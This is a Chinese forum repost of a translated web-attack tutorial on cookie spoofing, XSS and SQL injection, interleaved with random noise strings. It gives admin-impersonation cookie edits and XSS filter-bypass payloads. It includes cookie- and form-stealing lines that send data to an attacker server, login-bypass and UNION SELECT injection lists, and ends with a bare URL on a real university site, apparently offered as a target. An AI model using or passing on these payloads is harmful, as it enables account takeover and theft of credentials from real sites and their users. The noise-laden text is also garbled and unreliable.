XSS & SQL注入

admin

XSS & SQL注入
$ t2 v/ ~! T: m3 F! t文章作者：CyberPhreak
译文作者：黯魂 [S.S.T]


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  h0 j: a6 Y/ X# F/ q3 j, ~X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


% p! N' ~0 ]0 |) _~介绍
9 t4 p7 Z: M4 s2 T! W
% o4 N7 S  p% X在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.
9 i; x9 ?+ a" l! i
0 \# X' {8 i3 K( ^XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
X XSS X
X SQL Injection X
7 m& T, q: i& Z& h/ hXXXXXXXXXXXXXXXXXXXX
5 J  f- T, }( \1 ~( V3 a
3 x- Q2 c8 c8 H~什么是cookie
+ c" M9 q, W2 q5 K1 s$ x& \' ~
cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
, g7 J, W4 _( F. t9 j* R! [2 n
~警告&欺骗
, K; L! M4 H8 s( @+ U/ a/ ~1 ?5 `
那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:
* ?6 n9 c  j! N" k6 s
2 _: O" D1 {. u6 jstrusername=cnsst;strpassword=cnsst

此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

8 g" G1 `  E& C8 y* G, `~什么是XSS

' K6 p& h( J: ]: n7 \9 XXSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.
& f" r/ ~- [: o# _  R
' J" S9 P. l0 A% h1 C~为什么使用XSS

很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

~让我们开始吧…

0 d& [$ Q0 h+ |" r& Z我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.
; X; Q; ~9 O& E) u8 Q- F; q
XSS--跨站脚本&lt;html&gt;
5 v: R# W8 }* o1 b, x$ S+ H
3 w( [& W5 R; L, y% \( w& ?&lt;body&gt;
1 G0 L! R+ i. u4 l8 Y
&lt;form action="" method="GET"&gt;
: w  D! D( r5 C) T, N' l% M
  Z3 h0 K9 Q$ s0 x$ L% P/ v1 ^. j&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;
. Q: N+ }# S6 x9 c' U% H
$ c& @6 Y% Z" d+ Z; g, pScript: &lt;input name="name" type="name"&gt;

&lt;input type="submit" value="submit"&gt;

! D4 K, j$ p, l/ Z! [2 R; J&lt;/form&gt;
# j6 f2 c& v7 {# ]7 N* d
&lt;/body&gt;
8 {" q( S: x: R9 y0 s! ~
&lt;/html&gt;

6 o9 |) b" c- x3 f& x0 `; @' Y

3 F) o' G& A. l% s&lt;?php

  s! s' \1 V0 S" l, h' D# v4 h3 ~$name = $_GET['name'];

echo("Hello $name");

* V9 y  f: J* |: e" m6 |* m$ E?&gt;
复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:

" O4 o" k# `/ L5 J4 J1 n  L7 @6 Wcnsst
"Hello cnsst!"

引号内的信息就是输出信息..注意看,现在我输入:
! l# y0 _7 S. ?6 y1 B( A; j<script>alert(document.cookie)</script>

/ R7 y$ p' f0 _) N8 V% l那么它将会弹出document.cookie!所以它是易受XSS攻击的!
0 ^. k. _; }, c" L5 ~  K) u
! e2 F& u5 Y3 v6 }8 Y现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...

服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
# q2 r: }2 X0 R5 Q" j8 o
/ S6 [5 l% Z( D8 i已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.
3 r) G+ w- @- W2 j9 O
让我们看一个稍微复杂点的例子!
$ X7 a& J! h+ B* i7 U' ?9 j( A
6 F( {5 U5 V  o+ {: q假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
scriptalert(document.cookie)/script
或者可能是这样的:
+ ^& \$ N2 O1 n$ M" ?4 lscriptalertdocument.cookie/script

! J+ k# _. [/ o! k可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.

, L* T/ b7 j% K! e5 o让我们继续利用:
0 z( l* m# S: a, l2 |<<script>>alert(document.cookie)<</script>>
. v" B+ h; G- g/ S* S6 O/ y0 }6 _
- T; F! g; u" o; ]你的输出将弹出document.cookie.
7 b, W- ]9 ~& b
: |% z2 P- |' w3 _; j现在来看看更狠的:
" s6 Q# I4 c5 v2 D# L+ c<<script>>alert((document.cookie))<<//script>>
, q0 N4 b1 L: D( w0 O

6 Y" W0 ~0 r7 |! y3 N0 W8 g3 z" l他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
scriptalertdocument.cookie/script
( ?. ]% a% }4 y0 C0 q7 h或者 <<<script>>>alert(document.cookie)<<</script>>>  
  {- a4 |% {0 ?  p6 o2 K
他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
<script>alert(document.cookie)</script>

( ^# O$ g  U- e4 X输出像这样:srplert(document.cookie)srp
; \( H+ h+ n' D
仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
* _: \+ v0 I8 O3 d9 K<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
, E. z% ]# K2 P1 R3 e4 h+ a' X2 u
/ Q6 j# J) i& O+ g所有重复多余的部分刚好被替换!现在让我们来点更高级的!
3 F. Z& g! y% z( n( Z/ \+ W
0 a+ X9 O, ]% c' s% \0 M这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
! f( J# p/ ]' d* A+ A* G0 N/ e' z<script>alert(document.cookie)</script>

输出将是:
! \! _9 C2 d* ?* C- O/ m! @8 vscriptalert(document.cookie)script

5 Q$ F, ^2 p% k+ l$ a8 c# z! p) ]1 C看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
5 C2 o+ x4 r2 F3 G<<script>>alert(document.cookie)<</script>>

输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:
+ o" `% Y3 t1 F
<
5 z4 h5 U; g. S1 }script
, Z5 B# b/ f6 w  {# P>
/ G3 \, r/ p; t1 n8 ?/ V. g  halert
# ~; a4 l  T- ]' X9 r( N(
document
.
cookie
% T" n. v6 E1 y' l" Z% ?6 J& n/ {" y)
2 m2 ^( k: N+ T7 ]$ x+ W6 D<
/
script
# N$ F. k1 x. p" \" R>
- L$ ^* i% {) \9 Z( m/ J9 [

: x& s; L/ b3 X3 H( y, B看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
( H+ r" ~3 k. S6 @' K<
" |2 f) M4 ~' b! R! f2 fs
c
) Y" G1 Y$ ^! k% c! C1 T: g+ Xr
- B3 K0 W0 T& _8 S, T6 Qi
8 S! r, y. c- R, t& |0 ^0 y6 J/ np
, t5 ^) P' `/ }+ D3 L; _0 Wt
>
& Q& \& M5 M; [+ I, xa
l
e
r
& Q* O% `* Y- Yt
* I: R3 Q8 k4 P( p( G(
d
o
c
9 l( o8 B/ }( f1 j0 r, Du
3 l% K4 J6 L0 @% {2 U. fm
e
7 S& B! n4 g8 f+ f: E' S0 Sn
2 r0 P2 f" M# N' x$ i1 \t
. a7 {, s" `. y* ~; @: J6 T.
* `$ p3 U) F/ c& J& ^c
0 o3 g) a" L/ g0 x, v  Go
o
k
$ \: ~+ a* J0 S& X: x* Di
e
)
<
/
s
3 ^% t0 d$ J% M+ Q9 k! yc
( K$ d; {1 m6 l& {8 ^" h, d" y7 Gr
i
p
; E) b) b* x0 o4 E1 }  Ut
/
3 Q  A, M, O% e2 b  }) r>
1 J  j, `( U( s& Q( I2 O
这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)
  E  M7 p/ Y! R; f: S. Z
还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.
: U- X$ ?5 `& \: z; g7 A7 P9 q# r' o. R
/ `, c1 G- g. z* B现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.
( Y2 g7 }4 h. t% T' N* U
首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.
+ x1 n& `. S1 v  H! T5 E5 y
+ `$ C  i# D! s+ a( ]我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.
: _& v( |  S$ q0 r
3 A* b/ {# R' g3 {. c4 f1 e再次假设你在网站上注册了一个帐号,并且可以自定义资料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
. t0 P7 E) U% C( X& p0 mjavascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.

有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
" e. W& d. s, Ltelnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
: [+ P% X  l9 U. p5 ~6 H1 AUser-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
Referer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
, ?. n, w1 A8 B- ^~什么是SQL注入

- U1 I5 s3 [0 I; [- {  t: KSQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;
! z5 j4 j; Q) t6 Y5 s
&lt;body&gt;
5 B' _: [, j: O
&lt;form action="" method="POST"&gt;
' S4 Y$ {/ \$ a! T
* Q; n) `, b8 nUsername: &lt;input name="name" type="name"&gt;
6 B( S; g# X% G' T7 W( ?3 J
Password: &lt;input name="password" type="password"&gt;
4 n! e1 {$ N3 G4 L. i. u
&lt;input type="submit" type="submit" value="Submit"&gt;

&lt;/form&gt;

9 S9 o  ~  s( b  C8 i, B7 I  e&lt;/body&gt;
3 b7 r0 o! C. }2 K# v
+ a0 c8 R" n0 U9 M1 U&lt;/html&gt;
复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
' A; g6 _$ n1 ^5 E
( O) Y9 m' `; v3 J$ F3 d最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.
4 b# [/ ?, t$ E1 S; r, a! C
'='
. f/ U6 |5 d% }: c9 d; w" J5 H'OR 1=1--
5 j: ]. Z  y% _3 T9 C'OR a=a--
1 J5 J$ b' P8 i; h  Q'OR'

自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

6 c* Y. V+ n( }- f'OR''='
+ g. ?5 }* F9 E7 g/ B'OR"="
; X# {6 l5 m9 {8 h, f, Q'OR'="
4 K1 \8 a, }4 s; i'OR '="
'OR "='
* @* O9 t" s2 E2 b( ~% \7 B. J'OR ''='
& x+ D+ M' \4 V. x' [8 Y'OR '=''
9 h! d/ x( j6 G; L% s'OR "=''
: c+ M+ c: q) J' _4 Y'OR ''="
2 t8 Q. G( P- z+ `* D

5 t( H; C  l& {: d+ `) q9 L* d~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users

这个查询语句将执行,但是….如果毫无作用呢?
UNION ALL SELECT username,password FROM users WHERE username='OR "='
" B! m9 Y  C1 c3 N+ V* PAND password='OR "='

你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.

一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
7 G) V) _- z/ K$ Q6 p( z+ a- qUNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="
, }$ `1 w7 B9 i4 H0 q; T
  q& _: N- }" _$ f% q  w5 N# ?现在你看到这个了吗?(我确信你已经看到了)
3 J8 y" s% z/ |/ w& q1 Zhttp://example.com/index.php?article=34
那将浏览Id为34的文章...让我们用"'"替换34:
0 _. O0 ^4 e$ j# g- Shttp://example.com/index.php?article='

' H  j2 a! y1 o/ n4 i
现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
: d* J: w6 K) |4 k1 R' J2 R. |http://example.com/index.php?article='
http://example.com/index.php?article='='
, Q9 D6 S9 a; R1 Lhttp://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
9 p9 h8 U4 y6 `8 D) i- e% c6 b5 y1 j) bhttp://example.com/index.php?article='OR "='
http://example.com/index.php?article='OR ''='
8 [9 k1 k5 X" U; ]2 `7 zhttp://example.com/index.php?article='OR '=''
http://example.com/index.php?article='OR''='
http://example.com/index.php?article='OR"'='
7 r4 P1 e/ n) _: d: U" jhttp://example.com/index.php?article='OR"''='

) v+ P4 I% `3 x6 q  g尽情发挥自己的创造力!
http://www.ie.tsinghua.edu.cn/notice/show.php?id=704